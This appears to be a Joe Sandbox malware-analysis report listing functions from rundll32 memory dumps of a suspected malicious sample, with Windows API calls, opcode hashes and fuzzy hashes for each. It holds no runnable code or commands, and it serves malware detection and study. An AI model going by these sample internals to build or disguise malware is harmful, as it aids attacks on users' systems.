VirtualAlloc.KERNEL32(?,?,?,?,?,-00000001,-00000001), ref: 05091DAA

Memory Dump Source

Source File: 00000003.00000002.84974132495.0000000005091000.00000020.00001000.00020000.00000000.sdmp, Offset: 05091000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5091000_rundll32.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: ec85074d655eab4c25d1ee8e6a7d15bf753b8f39bc93c574f1eb7e68fcb0bb4a
Instruction ID: 62384ea28070100262432dd06f8a8039154dfdf9a970ccebcddc1da8022967cf
Opcode Fuzzy Hash: ec85074d655eab4c25d1ee8e6a7d15bf753b8f39bc93c574f1eb7e68fcb0bb4a
Instruction Fuzzy Hash: ACB1D4B6A053408FC728CF2AC8957EEF7E6BFD9310F15862E949ECB354DA7499058B40

Function 0695D090 Relevance: 1.5, APIs: 1, Instructions: 231memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,?,?), ref: 0695D262

Memory Dump Source

Source File: 00000003.00000003.84180784691.0000000006931000.00000020.00001000.00020000.00000000.sdmp, Offset: 06931000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6931000_rundll32.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: bccaee92416edb22b98f3268f3edfb76e6790b76b0d9f901ee7f1f18dfe11cdc
Instruction ID: 8a83744a868c7dab77b9300be6d0cb438ba727460a9e82a187bf16c9205929eb
Opcode Fuzzy Hash: bccaee92416edb22b98f3268f3edfb76e6790b76b0d9f901ee7f1f18dfe11cdc
Instruction Fuzzy Hash: DCA11976D002198FDB14CFA9C88059DFBB6BF98314F26815AD919BB355DB30AD86CF80

Function 0696E3E0 Relevance: 1.5, APIs: 1, Instructions: 211COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,?,?), ref: 0696E56F

Memory Dump Source

Source File: 00000003.00000003.84180784691.0000000006931000.00000020.00001000.00020000.00000000.sdmp, Offset: 06931000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6931000_rundll32.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 2d8938debb5f9f16d0f6021b687533f62f6f78b057add00fdd4dca05fc19d225
Instruction ID: 2d569aab1f858ab1a3bc7c27260cb265429a3ef8713f199b589071d9421feeb2
Opcode Fuzzy Hash: 2d8938debb5f9f16d0f6021b687533f62f6f78b057add00fdd4dca05fc19d225
Instruction Fuzzy Hash: 12817D76A083418FD754CF29C84055BB7E7BBC8310F2A8A2DE591E7354EA30F846CB82

Function 06984C60 Relevance: 1.4, APIs: 1, Instructions: 180COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?), ref: 06984DB8

Memory Dump Source

Source File: 00000003.00000003.84180784691.0000000006931000.00000020.00001000.00020000.00000000.sdmp, Offset: 06931000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6931000_rundll32.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: ef9dee0fc3183b642fab97eddbfaf300793006bd5e85c5530f9988698d18aa42
Instruction ID: 9442df125149f5af654715c5d4c6b0cb565c3c495c4ca3bfe5c65530e69aa4e8
Opcode Fuzzy Hash: ef9dee0fc3183b642fab97eddbfaf300793006bd5e85c5530f9988698d18aa42
Instruction Fuzzy Hash: 5061BB3A6083518FD314DF29C88062AB7E2BFC8714F268A1EE5959B754DB31FC06CB81

Function 05091680 Relevance: 1.4, APIs: 1, Instructions: 168
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(?,?,?,?,?,-00000001,-00000001), ref: 05091DAA

Memory Dump Source

Source File: 00000003.00000002.84974132495.0000000005091000.00000020.00001000.00020000.00000000.sdmp, Offset: 05091000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5091000_rundll32.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 6f8631f7027e3959f6d6771ceda15815857577e70d9c9c310292c0030ab7e463
Instruction ID: 0861111de20aaaa0f533a1765669b9c44e5269094131cf9995fcaf29571122bc
Opcode Fuzzy Hash: 6f8631f7027e3959f6d6771ceda15815857577e70d9c9c310292c0030ab7e463
Instruction Fuzzy Hash: 2461B1B5A143448FD718CF29C844BABFBE6BBD9310F11856EA099CB394DB34D906CB51

Function 051B71D2 Relevance: 1.4, APIs: 1, Instructions: 140
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualFree.KERNELBASE(?,?,?), ref: 051B71EF

Memory Dump Source

Source File: 00000003.00000002.84974409517.00000000051B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 051B1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_51b1000_rundll32.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: d180cb7dd4e12f56e38f5f88f01830def669272931dc7f4406c485e215432e26
Instruction ID: a1f136d194841585bfef38dc85f687d9cbdd77015646bc627a6edf21c030718f
Opcode Fuzzy Hash: d180cb7dd4e12f56e38f5f88f01830def669272931dc7f4406c485e215432e26
Instruction Fuzzy Hash: FE511877E001198FDB24CFA8D941ADDFBB2FF98314F26819AD509B7240DB70A9428F90

Function 06983C00 Relevance: .9, Instructions: 868COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.84180784691.0000000006931000.00000020.00001000.00020000.00000000.sdmp, Offset: 06931000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6931000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7407f941d4c74cb040ae4ce0a4a9bba9818c1a7567aa36e8ff735851437ed55
Instruction ID: f4747e4569edf10420e5cd3a0d89faadd3911146424886e899462400c8b21188
Opcode Fuzzy Hash: c7407f941d4c74cb040ae4ce0a4a9bba9818c1a7567aa36e8ff735851437ed55
Instruction Fuzzy Hash: 99828D716183828FD775DF28C880BEAB7E1FFD9700F148A6DD4998B684D734A945CB82

Function 0695D780 Relevance: .8, Instructions: 790COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.84180784691.0000000006931000.00000020.00001000.00020000.00000000.sdmp, Offset: 06931000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6931000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c062da6598e3b0fe46d53e04999697dbd20f808960d1eace4ef2c6bb69bf4223
Instruction ID: b2f2ce637f941d6cadeb488172e902518f1de5b5a869e92d4dae13b31bdc1c9a
Opcode Fuzzy Hash: c062da6598e3b0fe46d53e04999697dbd20f808960d1eace4ef2c6bb69bf4223
Instruction Fuzzy Hash: 5972B1716083828FC779CF28C991BAAF7E9FFC4214F154A6DE499C7691E730AA05CB41

Function 06982C90 Relevance: .7, Instructions: 706COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.84180784691.0000000006931000.00000020.00001000.00020000.00000000.sdmp, Offset: 06931000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6931000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f0d5f908c8025f6d23db3a9ed2855574673696e379e45ee76fbd76dd309c087
Instruction ID: 1e859f6733a57b2445657ccf90d78d6378607ed80011f64e2a39914f763cca4f
Opcode Fuzzy Hash: 9f0d5f908c8025f6d23db3a9ed2855574673696e379e45ee76fbd76dd309c087
Instruction Fuzzy Hash: 76627072A193908FE374DF29C580B9BB7E2BFC5314F25CA5DC4895B659DB306806CB82

Function 069712F0 Relevance: .7, Instructions: 667COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.84180784691.0000000006931000.00000020.00001000.00020000.00000000.sdmp, Offset: 06931000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6931000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76a41e671535f02a9b85c21c1730c250c767e9977917a01864c87b9c3f8dd8d2
Instruction ID: 5e828b94bad0fd3fbc801e87c9f86d7b0e2791d1bbd933f345720321109ee78d
Opcode Fuzzy Hash: 76a41e671535f02a9b85c21c1730c250c767e9977917a01864c87b9c3f8dd8d2
Instruction Fuzzy Hash: B632E576B547118FD728CF29CC8169AB7E6BBC8314F09962DE949D7794EB34EC018B80

Function 06932BD6 Relevance: .6, Instructions: 573COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.84180784691.0000000006931000.00000020.00001000.00020000.00000000.sdmp, Offset: 06931000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6931000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f9a083ff9e7b3146d1927e2773ece21a56870f47b4529c7f7d8667f39756a11
Instruction ID: 20324ee13fed95cfb1f625da27fdff9ed8d66d180527a30184155cac8384ad2d
Opcode Fuzzy Hash: 7f9a083ff9e7b3146d1927e2773ece21a56870f47b4529c7f7d8667f39756a11
Instruction Fuzzy Hash: E222E87BA147118FD728CF29C4D16E9F7E3BBC8304F1A9A2DC54ADB254DE70A9058B81

Function 06932E4E Relevance: .6, Instructions: 564COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.84180784691.0000000006931000.00000020.00001000.00020000.00000000.sdmp, Offset: 06931000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6931000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8bdc383369ef8b4f007e95c6c0c6e3e50422dad25f80981c0063e7e6288364c8
Instruction ID: fbd0ecf79c5c5c668b1613b68abf8a84f62ddac1c49de4e4d36b238da322906f
Opcode Fuzzy Hash: 8bdc383369ef8b4f007e95c6c0c6e3e50422dad25f80981c0063e7e6288364c8
Instruction Fuzzy Hash: 0922077B6146418FD728CF29C4D17E9F7E7BBC8304F099A2EC54ADB254DE70A9098B41

Function 06933665 Relevance: .5, Instructions: 452COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.84180784691.0000000006931000.00000020.00001000.00020000.00000000.sdmp, Offset: 06931000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6931000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb52afe770044142d15ff4e0c60e65ac0156b0cfde0b66927e1251c6c4cabee0
Instruction ID: cf6fd9852e1f95a1b215bde4bf9fda601c9a2768cc97883be62ba282fca6bf98
Opcode Fuzzy Hash: cb52afe770044142d15ff4e0c60e65ac0156b0cfde0b66927e1251c6c4cabee0
Instruction Fuzzy Hash: 0702E37B6146428FD728CF29C4D17EAF7E3BBC8304F1A9A2DC54ACB254DE70A9058B41

Function 06931290 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.84180784691.0000000006931000.00000020.00001000.00020000.00000000.sdmp, Offset: 06931000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6931000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c056a06045740e466628fc760b63a346be28fb38a5535187cf83b0583fda3bd5
Instruction ID: 5f6fc50b72033f2b2906608904f7f18135611fedd33a369987710c6bb8c833c7
Opcode Fuzzy Hash: c056a06045740e466628fc760b63a346be28fb38a5535187cf83b0583fda3bd5
Instruction Fuzzy Hash: 06027272A183518FD764CF29C980ADAB7E7FFC9310F15CA6DD4899B658DB30A805CB81

Function 069335BB Relevance: .4, Instructions: 444COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.84180784691.0000000006931000.00000020.00001000.00020000.00000000.sdmp, Offset: 06931000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6931000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8ae1f8f6f82691a65ee37a3a6607d9eec0228ba0af7dcc7c84eb005ad04ffaa
Instruction ID: e0143c3ed9d17d9fadca57d8f18431b62e38ac7eb23e80b44ed37c2136fa4a20
Opcode Fuzzy Hash: f8ae1f8f6f82691a65ee37a3a6607d9eec0228ba0af7dcc7c84eb005ad04ffaa
Instruction Fuzzy Hash: 4E02E37B6146428FD728CF29C4D17EAF7E7BBC8304F1A9A2DC54ACB254DE70A9058B41

Function 06933611 Relevance: .4, Instructions: 443COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.84180784691.0000000006931000.00000020.00001000.00020000.00000000.sdmp, Offset: 06931000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6931000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b07b9ff2d8e7a88fc2b1dba46dd7f5ec85a4d66292d36f8c047f2ddde2707f73
Instruction ID: 2f37c5102e63e890322ad4c3f127b00bde509ed86a762070bdbf6e38cb1f8de5
Opcode Fuzzy Hash: b07b9ff2d8e7a88fc2b1dba46dd7f5ec85a4d66292d36f8c047f2ddde2707f73
Instruction Fuzzy Hash: 8F02D57B6146428FD728CF29C4D17EAF3E7BBC8304F1A9A2DC54ADB254DE70A9058B41

Function 069336DC Relevance: .4, Instructions: 442COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.84180784691.0000000006931000.00000020.00001000.00020000.00000000.sdmp, Offset: 06931000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6931000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3182e9a5518bf684797ecb04a513659354d3e2065038d8d00c71ce3747ac7883
Instruction ID: 081ea502ce1c25efef2fdb586c40447237d31f0c786ee131ed2962aa9fe8c841
Opcode Fuzzy Hash: 3182e9a5518bf684797ecb04a513659354d3e2065038d8d00c71ce3747ac7883
Instruction Fuzzy Hash: 3E02D37B6146428FD728CF29C4D17EAF3E7BBC8304F1A9A2DC54ADB254DE70A9058B41

Function 0693327A Relevance: .4, Instructions: 442COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.84180784691.0000000006931000.00000020.00001000.00020000.00000000.sdmp, Offset: 06931000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6931000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 996fd846cc2d5e8c03b16005e0dac272f1c0042d2df993f698aad1d8ebc0b08c
Instruction ID: f98703834d1e2563f02ddde31663d1ae3ffb26a2453cf1c468363455531c4326
Opcode Fuzzy Hash: 996fd846cc2d5e8c03b16005e0dac272f1c0042d2df993f698aad1d8ebc0b08c
Instruction Fuzzy Hash: 6102E47B6146428FD728CF29C4D17EAF3E7BBC8304F1A9A2DC54ADB254DE70A9058B41

Function 069332CE Relevance: .4, Instructions: 441COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.84180784691.0000000006931000.00000020.00001000.00020000.00000000.sdmp, Offset: 06931000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6931000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b0f53764ed9d4ea91acee7e5563f2a1230a0977720db5a51191d69376be7394
Instruction ID: b877eef91e319ef7cafa49437b271963ed4280dd32d23eab96fa13b59837fe4f
Opcode Fuzzy Hash: 9b0f53764ed9d4ea91acee7e5563f2a1230a0977720db5a51191d69376be7394
Instruction Fuzzy Hash: 3E02E37B6146428FD728CF29C4D17EAF3E7BBC8304F1A9A2DC54ADB254DE70A9058B41

Function 0693338A Relevance: .4, Instructions: 440COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.84180784691.0000000006931000.00000020.00001000.00020000.00000000.sdmp, Offset: 06931000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6931000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 304280c842d744de43e7b2bd1868159c95e4d1305791e4ff8101ee3412d34d39
Instruction ID: e5a2d38e3396c7ab0fff9b0f8265cf6ebc3a9966b88812f3492fc9ebed6163b6
Opcode Fuzzy Hash: 304280c842d744de43e7b2bd1868159c95e4d1305791e4ff8101ee3412d34d39
Instruction Fuzzy Hash: E702D37B6146428FD738CF29C4D17EAF3E6BBC8304F1A9A2DC54ADB254DE70A9058B41

Function 0693308E Relevance: .4, Instructions: 437COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.84180784691.0000000006931000.00000020.00001000.00020000.00000000.sdmp, Offset: 06931000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6931000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf14989778690acbe22859f824514b8a1b951b230a99b12940bf1d6f01d727e0
Instruction ID: b9d0e031175e1bd3c7e1182c21ffe5091fa28e6a1244411e18e5c39b7fd69eba
Opcode Fuzzy Hash: bf14989778690acbe22859f824514b8a1b951b230a99b12940bf1d6f01d727e0
Instruction Fuzzy Hash: 23F1C47B6186428FD728CF29C4D17EAF7E7BBC8304F199A2DC54ACB254DE70A9058B41

Function 06932DC0 Relevance: .4, Instructions: 436COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.84180784691.0000000006931000.00000020.00001000.00020000.00000000.sdmp, Offset: 06931000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6931000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 931da559f50516af19c9e5184bcebc0888389b9844ac6ff3553bcd4a6cb70738
Instruction ID: 916554ee7d686fdef4d77105392a4b319ba0c69822b8f4b6a555eb00fc2613c3
Opcode Fuzzy Hash: 931da559f50516af19c9e5184bcebc0888389b9844ac6ff3553bcd4a6cb70738
Instruction Fuzzy Hash: 1DF1C47B6186428FD728CF29C4D17EAF7E7BBC8304F199A2DC54ACB254DE70A9058B41

Function 069330CB Relevance: .4, Instructions: 436COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.84180784691.0000000006931000.00000020.00001000.00020000.00000000.sdmp, Offset: 06931000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6931000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce1965fbdb9ca5755f499d30d2c594cd11e1404cd51a19b21cb1289ed9e15a87
Instruction ID: 37847aa2b29ceeaf4ba164ca730179df6332df1ea53f410c8ea7182fee58c666
Opcode Fuzzy Hash: ce1965fbdb9ca5755f499d30d2c594cd11e1404cd51a19b21cb1289ed9e15a87
Instruction Fuzzy Hash: 71F1C47B6186428FD728CF29C4D17EAF7E7BBC8304F199A2DC54ACB254DE70A9058B41

Function 06932DFE Relevance: .4, Instructions: 436COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.84180784691.0000000006931000.00000020.00001000.00020000.00000000.sdmp, Offset: 06931000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6931000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7220935e7163158e0975ef55672cd876e209d44f219cab9008d71f63763aa691
Instruction ID: f724e6d01fa883a31d165ce05c0bdcce28246abf560f82bdbac5ddf9039ed751
Opcode Fuzzy Hash: 7220935e7163158e0975ef55672cd876e209d44f219cab9008d71f63763aa691
Instruction Fuzzy Hash: 90F1C47B6186428FD728CF29C4D17EAF7E7BBC8304F199A2DC54ACB254DE70A9058B41

Function 06933028 Relevance: .4, Instructions: 436COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.84180784691.0000000006931000.00000020.00001000.00020000.00000000.sdmp, Offset: 06931000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6931000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d9db2e290771e7e873f1cbfac565b06d1e5d5da07d9cb4e9075704fce29a0bf
Instruction ID: 04ae65a356773cd99fb4c3bb2fd453b4c1426e6a328d22b853298d541ce79b9b
Opcode Fuzzy Hash: 7d9db2e290771e7e873f1cbfac565b06d1e5d5da07d9cb4e9075704fce29a0bf
Instruction Fuzzy Hash: C3F1C37B6146428FD728CF29C4D17EAF7E7BBC8304F1A9A2DC54ACB254DE70A9058B41

Function 06933358 Relevance: .4, Instructions: 436COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.84180784691.0000000006931000.00000020.00001000.00020000.00000000.sdmp, Offset: 06931000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6931000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1205ca558f58d5d1d6bfcb825542d6b2473180edc6544f24a63e8b972e814fc4
Instruction ID: 637774245cb97f9b757be31b3d53e80a11312d25519bc8f30f3bec7d211f8f01
Opcode Fuzzy Hash: 1205ca558f58d5d1d6bfcb825542d6b2473180edc6544f24a63e8b972e814fc4
Instruction Fuzzy Hash: 77F1C37B6186428FD728CF29C4D17EAF7E7BBC8304F199A2DC54ACB254DE70A9058B41

Function 069333D5 Relevance: .4, Instructions: 435COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.84180784691.0000000006931000.00000020.00001000.00020000.00000000.sdmp, Offset: 06931000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6931000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 060f2c1ab4a77ff1dd786f584579786f51474fd7d5cee65806832cf0faa5f302
Instruction ID: 6b6801aa6857a4b96788788921bef61d15312d3246816dba534f077b2af1351f
Opcode Fuzzy Hash: 060f2c1ab4a77ff1dd786f584579786f51474fd7d5cee65806832cf0faa5f302
Instruction Fuzzy Hash: 42F1C37BA146428FD728CF29C4D17EAF7E7BBC8304F199A2DC54ACB254DE70A9058B41

Function 06933322 Relevance: .4, Instructions: 435COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.84180784691.0000000006931000.00000020.00001000.00020000.00000000.sdmp, Offset: 06931000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6931000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a6711e7f3f71b7fb4e115943aed02857f4736b7005ef871c53fe014674cd67a
Instruction ID: d16d845bfe842476e99d9eb474736832b325be0861f71fd81e556c328342814c
Opcode Fuzzy Hash: 3a6711e7f3f71b7fb4e115943aed02857f4736b7005ef871c53fe014674cd67a
Instruction Fuzzy Hash: FEF1C37B6186428FD728CF29C4D17EAF7E7BBC8304F199A2DC54ACB254DE70A9058B41

Function 06933055 Relevance: .4, Instructions: 434COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.84180784691.0000000006931000.00000020.00001000.00020000.00000000.sdmp, Offset: 06931000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6931000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba666a08a3c0407ae3e6109bbfcb85e963084c977373df8412646c62b1add27a
Instruction ID: cf2c7745070a3ace66e73cd5ee06fd316d43d31797006acdee5d34297cb883d9
Opcode Fuzzy Hash: ba666a08a3c0407ae3e6109bbfcb85e963084c977373df8412646c62b1add27a
Instruction Fuzzy Hash: 0CF1C37B6146428FD728CF29C4D17EAF7E6BBC8304F199A2DC54ACB254DE70A9058B41

Function 06933106 Relevance: .4, Instructions: 433COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.84180784691.0000000006931000.00000020.00001000.00020000.00000000.sdmp, Offset: 06931000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6931000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8042a0354b4711df86b18f5d72ed0b9a03f1ba63933ac7bbb74d864a64537c4
Instruction ID: a1d93b0ec1cb6a6d38c2d4e8c697127cafaad716838bd7ad8e18777197e46bf5
Opcode Fuzzy Hash: b8042a0354b4711df86b18f5d72ed0b9a03f1ba63933ac7bbb74d864a64537c4
Instruction Fuzzy Hash: 1DF1D37B6146428FD728CF29C4D17EAF7E6BBC8304F1A9A2DC54ACB254DE70A9058B41

Function 0696CFC0 Relevance: .4, Instructions: 390COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.84180784691.0000000006931000.00000020.00001000.00020000.00000000.sdmp, Offset: 06931000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6931000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9313fbbd97f95eee61c8c8f4612d759eedc551c6f7f327ad67ad4c2030e8e542
Instruction ID: 20dd5f9434603bdc931c61ccb4301a46187c61672ed4be1a2b3c702d5b113701
Opcode Fuzzy Hash: 9313fbbd97f95eee61c8c8f4612d759eedc551c6f7f327ad67ad4c2030e8e542
Instruction Fuzzy Hash: 36E1B376B047128FD718CF69C881A96B7E2BFC8314F098929E459DBA44DB74F906CBC0

Function 06960EE0 Relevance: .3, Instructions: 299COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.84180784691.0000000006931000.00000020.00001000.00020000.00000000.sdmp, Offset: 06931000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6931000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b72f3500ab27143d73587d08c4954d1b6218862daa470ebdf882f870314fbbc
Instruction ID: 14f3d68caf903b508937dc84a8ea926465753793926c231212937930a015ff53
Opcode Fuzzy Hash: 5b72f3500ab27143d73587d08c4954d1b6218862daa470ebdf882f870314fbbc
Instruction Fuzzy Hash: D0D16C726083828FD364CF29C880BAAB7E2FFD5314F158A59E499CB655D730E944CB92

Function 069689F0 Relevance: .3, Instructions: 294COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.84180784691.0000000006931000.00000020.00001000.00020000.00000000.sdmp, Offset: 06931000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6931000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2e5ed6113b0c71b305a2bd196dacf9858f840446acdf067420d4c76fb6cefb9
Instruction ID: d10a419187013a298229b1d159d6e75ff8876dcaa160914dbeb2e0b5819a0b86
Opcode Fuzzy Hash: f2e5ed6113b0c71b305a2bd196dacf9858f840446acdf067420d4c76fb6cefb9
Instruction Fuzzy Hash: 28A17A7BB147004FD308CE2AC99129AF7D7ABD9310F1ED62ED485DB394DA749C068791

Function 069852F2 Relevance: .3, Instructions: 275COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.84180784691.0000000006931000.00000020.00001000.00020000.00000000.sdmp, Offset: 06931000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6931000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55f25b790993bace6d0a2b19cac95649a91aad1a57ebd9f4e449009c84bf1663
Instruction ID: accdc977d4e71a3ca97a512d6f0895d81d88e4420976bc2b45c3945ba09ac7d9
Opcode Fuzzy Hash: 55f25b790993bace6d0a2b19cac95649a91aad1a57ebd9f4e449009c84bf1663
Instruction Fuzzy Hash: 73910477B547118FD718CE29C8811AAF7E3BBC8310F1A962ED499D7354DE74AC06CA81

Function 051B163D Relevance: .3, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.84974409517.00000000051B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 051B1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_51b1000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e90dffc27ac4932d04492c911b58c3b01644892d9c56e9814cf45e1f888d8b46
Instruction ID: c7bf4f9324376f4831b6c2e8689a4f833257a736343a690b3a05ffcba13926ef
Opcode Fuzzy Hash: e90dffc27ac4932d04492c911b58c3b01644892d9c56e9814cf45e1f888d8b46
Instruction Fuzzy Hash: 3181A437B547114BD728CE79CD8429AB6D3ABC8314F1AC63D8949E7748DEB4A8068A80

Function 0696BB30 Relevance: .2, Instructions: 199COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.84180784691.0000000006931000.00000020.00001000.00020000.00000000.sdmp, Offset: 06931000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6931000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6928c3a09929bd641140b3e9af8e2ced4354271718ea13005c5f4ca2d1b71926
Instruction ID: 04f8dfc270bd8da0d6ca705809fa9b5fae2a8af6134275e9af1a6ae11267abc4
Opcode Fuzzy Hash: 6928c3a09929bd641140b3e9af8e2ced4354271718ea13005c5f4ca2d1b71926
Instruction Fuzzy Hash: 5D815A72608351CFD360CF29C880B9BF7E6FF89314F158969E985DB254D730A845CB92

Function 27AC18CB Relevance: 4.5, APIs: 3, Instructions: 16
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,00009088), ref: 27AC18D7
WaitForSingleObject.KERNEL32(00000000), ref: 27AC18DE

Part of subcall function 27AC1120: GetTickCount.KERNEL32 ref: 27AC116C
Part of subcall function 27AC1120: SHGetValueA.SHLWAPI(80000001,SOFTWARE\Microsoft\Mediaplayer,COMPUTERNAME,?,?), ref: 27AC11B9
